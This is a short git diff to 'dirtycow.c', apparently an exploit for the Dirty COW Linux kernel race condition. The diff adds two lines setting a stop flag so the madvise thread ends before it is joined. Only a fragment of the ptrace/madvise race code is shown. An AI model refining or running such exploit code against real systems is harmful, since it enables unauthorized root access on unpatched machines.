diff --git a/dirtycow.c b/dirtycow.c
index 48799e2..01665f4 100644
--- a/dirtycow.c
+++ b/dirtycow.c
@@ -221,6 +221,8 @@ static void exploit(struct mem_arg *mem_arg)
 			pthread_create(&pth1, NULL, madviseThread, mem_arg);
 			ptrace(PTRACE_TRACEME);
 			kill(getpid(),SIGSTOP);
+			// we're done, tell madviseThread to stop and wait for it
+			mem_arg->stop = 1;
 			pthread_join(pth1, NULL);
 		}
 	} else {